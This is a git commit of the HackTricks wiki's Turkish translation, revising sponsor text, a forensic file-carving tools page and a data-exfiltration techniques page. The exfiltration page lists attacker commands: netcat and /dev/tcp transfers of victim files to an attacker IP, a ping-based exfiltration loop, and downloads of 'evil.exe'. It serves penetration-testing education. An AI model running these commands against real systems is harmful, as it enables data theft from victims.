Translated ['README.md', 'forensics/basic-forensic-methodology/partition

This commit is contained in:
Translator 2024-03-14 23:41:46 +00:00
parent a0aeb74eb2
commit ef719541b1
43 changed files with 2136 additions and 1556 deletions

View file

@ -5,74 +5,77 @@
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hack tekniğini bulacaksınız.**
**Wiki'ye hoş geldiniz, burada CTF'lerden, gerçek uygulamalardan, araştırmalardan ve haberlerden öğrendiğim her hackleme hilesini/teknikleri/bilgiyi bulacaksınız.**
{% endhint %}
Başlamak için, bir veya daha fazla makineyi pentest ettiğinizde takip etmeniz gereken **tipik akışı** bulacağınız bu sayfayı takip edin:
Başlamak için, bir veya daha fazla **makineyi pentest ettiğinizde izlemeniz gereken tipik akışı** bulacağınız bu sayfayı takip edin:
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
{% endcontent-ref %}
## Platin Sponsorlar
_Şirketiniz burada olabilir._
## Kurumsal Sponsorlar
### [STM Cyber](https://www.stmcyber.com)
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com), **HACK THE UNHACKABLE** sloganıyla bilinen harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hacking araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi çeşitli değerli siber güvenlik hizmetleri sunarlar.
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve kendi hackleme araçlarını geliştirirler ve pentesting, Kırmızı Takımlar ve eğitim gibi çeşitli değerli siber güvenlik hizmetleri sunarlar.
Bloglarını [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinden kontrol edebilirsiniz.
**STM Cyber**, HackTricks gibi siber güvenlik açık kaynak projelerini de desteklemektedir :)
***
### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonellerinin her disiplinde bir araya geldiği kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemlilerden biridir. Teknik bilgiyi teşvik etme misyonuyla, bu kongre, teknoloji ve siber güvenlik profesyonelleri için bir araya gelen bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
***
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti**, Avrupa'nın en iyi etik hackleme ve ödül avı platformudur.
**Intigriti**, **Avrupa'nın #1** etik hackleme ve **bug bounty platformudur.**
**Ödül avı ipucu**: **Intigriti'ye** kaydolun, hackerlar tarafından oluşturulan bir premium **ödül avı platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna katılın**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden bize katılın ve **100.000 $'a kadar ödül kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %}
***
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanın.
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
***
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hacking Insights**\
Hacklemenin heyecanını ve zorluklarını inceleyen içeriklerle etkileşime girin
Hackingin heyecanını ve zorluklarını ele alan içeriklerle etkileşime girin
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
Hızlı tempolu hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
**En Son Duyurular**\
Başlatılan en yeni ödül avlarını ve önemli platform güncellemelerini takip edin
Başlatılan en yeni bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
@ -82,21 +85,31 @@ Başlatılan en yeni ödül avlarını ve önemli platform güncellemelerini tak
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
**Vulnerability assessment & penetration testing için anında kullanılabilir kurulum**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine kazma, kabukları patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
**Anında kullanılabilir zafiyet değerlendirme ve penetrasyon testi kurulumu**. 20'den fazla araç ve özellikle tam bir pentest çalıştırın, keşiften raporlamaya kadar. Pentesterları değiştirmiyoruz - onlara daha derinlemesine kazma, kabuklar patlatma ve eğlenme zamanı kazandırmak için özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/" %}
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya çapında** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
[**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **modern** bir yaklaşımla işletmeleri **dünya genelinde** en son siber güvenlik tehditlerine karşı korumaya yardımcı olur.
WebSec, Pentesting, Güvenlik Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İnceleme, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını içeren **her şeyi yapan bir güvenlik şirketidir**.
WebSec, Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, Sızma Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve çok daha fazlasını sağlayarak **her şeyi bir arada olan bir güvenlik şirketidir**.
WebSec hakkında başka harika bir şey, WebSec'in endüstri ortalamasının aksine becerilerine çok güvendiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği kadarıyla en iyi kalite sonuçlarını garanti etmesidir. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
WebSec hakkında başka harika bir şey, WebSec'in becerilerine oldukça güvendiği, becerilerinin en iyi kalitede sonuçları garanti ettiği, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" şeklinde belirtildiği. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destekçisidir**.
Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in kararlı bir destekçisidir.
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
@ -110,14 +123,14 @@ Yukarıdakilere ek olarak, WebSec aynı zamanda HackTricks'in **kararlı destek
<details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme hakkında bilgi edinin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklam vermek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -2,29 +2,37 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Oyma ve Kurtarma Araçları
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
### Otopsi
Görüntülerden dosyaları çıkarmak için forensikte en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içe aktararak "gizli" dosyaları bulun. Autopsy, disk görüntüleri ve diğer türdeki görüntüleri desteklemek üzere oluşturulmuştur, ancak basit dosyaları desteklemez.
Görüntülerden dosyaları çıkarmak için en yaygın kullanılan araç [**Otopsi**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve dosyayı içeri alarak "gizli" dosyaları bulun. Otopsi'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek üzere yapıldığını unutmayın, ancak basit dosyaları desteklemez.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**, gömülü içerik bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` aracılığıyla yüklenebilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir.
**Binwalk**, gömülü içerik bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` aracılığıyla yüklenebilir ve kaynağı [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir.
**Kullanışlı komutlar**:
```bash
@ -35,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Gizli dosyaları bulmak için başka yaygın bir araç **foremost**'tir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarın. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
Gizli dosyaları bulmak için başka bir yaygın araç **foremost**'tir. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Belirli dosyaları aramak istiyorsanız, onları yorum satırından çıkarın. Hiçbir şeyi yorum satırından çıkarmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -43,7 +51,7 @@ foremost -v -i file.img -o output
```
### **Scalpel**
**Scalpel**, başka bir araçtır ve bir dosyanın içine gömülü olan dosyaları bulmak ve çıkarmak için kullanılabilir. Bu durumda, çıkarmak istediğiniz dosya türlerini belirtmek için yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırlarını kaldırmanız gerekecektir.
**Scalpel**, başka bir araçtır ve bir dosyanın içine gömülü olan dosyaları bulmak ve çıkarmak için kullanılabilir. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmalısınız.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -52,13 +60,13 @@ scalpel file.img -o output
Bu araç Kali içinde gelir ancak burada da bulabilirsiniz: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri çıkarabilir**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postalar)** ve daha fazla **dosyayı** çıkarabilir. Yapmanız gereken tek şey:
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, e-postaları)** ve daha fazla **dosyayı çıkarabilir**. Yapmanız gereken tek şey:
```
bulk_extractor memory.img -o out_folder
```
### PhotoRec
[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk\_Download) bulunan bir araçtır.
[PhotoRec](https://www.cgsecurity.org/wiki/TestDisk_Download) bulabilirsiniz.
GUI ve CLI sürümleriyle gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz.
@ -70,26 +78,46 @@ Kodu [buradan](https://code.google.com/archive/p/binvis/) ve [web sayfa aracın
#### BinVis'in Özellikleri
* Görsel ve etkin **yapı görüntüleyici**
* Farklı odak noktaları için birden fazla çizim
* Bir örneğin bölümlerine odaklanma
* PE veya ELF yürütülebilir dosyalarda **dizileri ve kaynakları** görme
* Dosyalarda kriptoanaliz için **desenler** elde etme
* Paketleyici veya kodlayıcı algoritmaları **tespit etme**
* Desenlere göre **Steganografi** tanımlama
* **Görsel** ikili farklılaştırma
- Görsel ve etkin **yapı görüntüleyici**
- Farklı odak noktaları için birden fazla çizim
- Bir örneğin bölümlerine odaklanma
- PE veya ELF yürütülebilir dosyalarda **dizileri ve kaynakları** görmek
- Dosyalarda kriptoanaliz için **desenler** elde etme
- Paketleyici veya kodlayıcı algoritmaları **tespit etme**
- Desenler aracılığıyla **Steganografiyi tanımlama**
- **Görsel** ikili farklılaştırma
BinVis, siyah kutu senaryosunda **bilinmeyen bir hedefle tanışmak için harika bir başlangıç noktasıdır**.
BinVis, siyah kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**.
## Özel Veri Kazıma Araçları
### FindAES
AES anahtarlarını arayarak anahtar programlarını arar. TrueCrypt ve BitLocker gibi kullanılan 128, 192 ve 256 bit anahtarları bulabilir.
AES anahtarlarını arayarak anahtar programlarını arar. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarlar gibi anahtarları bulabilir.
İndirme bağlantısı [burada](https://sourceforge.net/projects/findaes/).
[İndirin buradan](https://sourceforge.net/projects/findaes/).
## Tamamlayıcı Araçlar
## Tamamlayıcı araçlar
Resimleri terminalden görmek için [**viu** ](https://github.com/atanunq/viu)'yu kullanabilirsiniz.\
Resimleri terminalden görmek için [**viu**](https://github.com/atanunq/viu)'yu kullanabilirsiniz.\
Bir pdf'i metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext**'i kullanabilirsiniz.
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -2,23 +2,31 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Bilgi çıkarmak için genellikle izin verilen alan adları
Kötüye kullanılabilen genellikle izin verilen alan adlarını bulmak için [https://lots-project.com/](https://lots-project.com/) adresini kontrol edin
[https://lots-project.com/](https://lots-project.com/) adresini kontrol ederek kötüye kullanılabilecek genellikle izin verilen alan adlarını bulun
## Kopyala ve Yapıştır Base64
## Base64 Kopyala ve Yapıştır
**Linux**
```bash
@ -155,7 +163,7 @@ ftp -n -v -s:ftp.txt
```
## SMB
Sunucu olarak Kali
Kali olarak sunucu
```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
@ -177,38 +185,23 @@ guest ok = Yes
#Start samba
service smbd restart
```
# Exfiltration
Windows
## Introduction
---
Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging legitimate services like Dropbox or Google Drive.
### Exfiltration
## Techniques
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
### Command and Control (C2) Channels
1. **Email**: Sending data as email attachments to an external email address.
2. **FTP**: Transferring data using the File Transfer Protocol to a remote server.
3. **DNS**: Encoding data within DNS requests to leak information.
4. **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server.
5. **Steganography**: Hiding data within images or other files to avoid detection.
6. **Cloud Storage**: Uploading data to cloud storage services like Dropbox or Google Drive.
7. **USB Drives**: Physically removing data using USB drives.
C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to maintain control over the compromised system and exfiltrate data without being detected.
### DNS Exfiltration
DNS exfiltration involves encoding data within DNS queries or responses to exfiltrate data from a target network. This technique can be used to bypass network security controls that may not inspect DNS traffic.
### Using Legitimate Services
Attackers may leverage legitimate services like Dropbox, Google Drive, or other cloud storage providers to exfiltrate data from a target system. By using these services, attackers can blend in with legitimate traffic and avoid detection.
## Tools and Resources
There are various tools and resources available to facilitate data exfiltration, including:
- **C2 Frameworks**: Frameworks like Metasploit, Cobalt Strike, and Empire include capabilities for data exfiltration.
- **DNS Exfiltration Tools**: Tools like Iodine, Dnscat2, and Dnsmessenger can be used for DNS exfiltration.
- **Cloud Storage Services**: Services like Dropbox, Google Drive, and OneDrive can be leveraged for exfiltrating data.
- **Custom Scripts**: Custom scripts can be developed to exfiltrate data using specific techniques tailored to the target environment.
## Conclusion
Exfiltration is a critical phase of the cyber attack lifecycle, allowing attackers to steal valuable data from target systems. By understanding exfiltration techniques and utilizing appropriate tools and resources, security professionals can better defend against data exfiltration attempts.
It is essential for attackers to choose exfiltration methods carefully to avoid detection and successfully transfer the stolen data.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -224,7 +217,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Eğer kurbanın SSH'si varsa, saldırgan kurbanın dizinini saldırgana bağlayabilir.
Eğer kurbanın SSH'si varsa, saldırgan kurbandan saldırgana bir dizin bağlayabilir.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -232,19 +225,19 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
```
## NC
NC, or Netcat, is a versatile networking tool that can be used for exfiltration. It can create connections to remote systems, listen for incoming connections, and transfer data between systems. Netcat can be used to exfiltrate data over various protocols such as TCP or UDP.
NC, veya Netcat, bir ağ aracıdır ve sıkça kullanılan bir exfiltration tekniğidir. Ağ üzerinden veri transferi yapmak için kullanılır. Örneğin, bir hedef makineden veri çalmak veya bir hedef makineye veri yüklemek için kullanılabilir. Netcat'i kullanarak veri transferi yaparken dikkatli olunmalı ve güvenlik önlemleri alınmalıdır.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Kurbanın dosyasını indirin
### Kurbanın cihazından dosya indir
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Kurbanın bilgisayarına dosya yükle
### Dosyayı hedefe yükle
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
@ -254,6 +247,8 @@ cat <&6 > file.txt
## **ICMP**
## **ICMP**
ICMP, Internet Control Message Protocol, is commonly used for network diagnostics. ICMP exfiltration involves sending data using ICMP packets. This technique can be used to bypass firewalls that only allow specific protocols and ports. ICMP exfiltration can be achieved using tools like **icmpsh** or custom scripts.
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
@ -273,7 +268,7 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için bir SMTP oluşturabilirsiniz:
Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için bir SMTP oluşturabilirsiniz python ile:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
@ -345,14 +340,14 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
`debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda onları onaltılıktan yeniden oluşturma yeteneğine sahiptir. Bu, bir ikili dosyanın onaltılık bir temsilini sağlayarak `debug.exe`nin ikili dosyayı oluşturabilmesi anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırlaması olduğunu** unutmamak önemlidir.
`debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda **onları onaltılıktan yeniden oluşturma yeteneğine sahiptir**. Bu, bir ikili dosyanın onaltılık halini sağlayarak `debug.exe`nin ikili dosyayı oluşturabilmesi anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırı olduğunu** unutmamak önemlidir.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
```html
Sonra metni windows-shell'e kopyalayıp nc.exe adında bir dosya oluşturulacak.
```markdown
Ardından metni windows-shell'e kopyalayıp nc.exe adında bir dosya oluşturulacaktır.
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -360,17 +355,22 @@ Sonra metni windows-shell'e kopyalayıp nc.exe adında bir dosya oluşturulacak.
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
